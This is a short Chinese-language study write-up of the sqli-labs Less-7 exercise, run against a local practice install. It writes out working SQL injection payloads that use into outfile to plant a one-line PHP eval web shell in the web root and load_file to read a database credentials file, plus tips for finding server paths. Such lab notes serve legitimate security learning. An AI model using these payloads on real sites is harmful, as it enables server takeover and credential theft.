第7题:文件写入 into outfile '绝对路径'/into dumpfile '绝对路径'
id=1')) and 1=2--+
id=1')) and 1=1--+
说明为((' '))的闭合
order by得到字段数为3
上传文件
id=-1')) union select 1,2,3 into outfile "E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\wuhu.txt"--+
上传成功
这里就可以上传木马,以一句话木马为例
id=-1')) union select 1,2,'<?php @eval($_post[“mima”])?>' into outfile "E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\less-7\\gfj.php"--+
一下就被windows defend检测出来删除了...
再尝试一下文件读出 load_file('绝对路径')
读取平台配置文件
读出的话需要有回显
在less2里尝试
id=-1 union select 1,load_file('E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
文件读写所需要条件:需要绝对路径,读写文件权限和文件在服务器上
路径获取常见方法:
报错显示:一般网站出现错误的时候它会泄露出路径
遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出
漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径